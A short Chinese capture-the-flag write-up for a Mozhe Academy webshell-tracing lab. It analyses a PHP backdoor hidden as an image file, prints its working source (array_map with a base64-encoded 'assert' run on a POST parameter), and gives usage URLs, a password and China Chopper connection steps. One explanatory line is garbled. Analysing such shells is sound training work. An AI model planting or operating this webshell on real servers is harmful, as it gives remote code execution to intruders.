墨者学院 - WebShell代码分析溯源(第6题)

审查代码,在图片文件夹中有php(有毒)

使用了回调函数array_map(将用函数去执行每个参数,返回结果)、$_REQUEST、$_POST,通过分析,

类似于第五题,用e来接受assert的base64加密的值作为函数,用POST作为密码

使用菜刀连接地址为 ip/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0密码是POST,key文件在/var/www/html/目录下

菜刀连接获得key

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'],);
array_map(base64_decode($e), $arr);
?>

用法: http://www.xxx.com/5.php?e=YXNzZXJ0

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/5.php?e=YXNzZXJ0

密码:joker

详解:我们主要来看array_map()这个函数,array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

这样的话我们传递过去的assert(),就会对arr数组中的每一个值进行作用,assert(arr数组中的每一个值进行作用,assert(_POST['joker']) ,直接菜刀链接即可

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81395440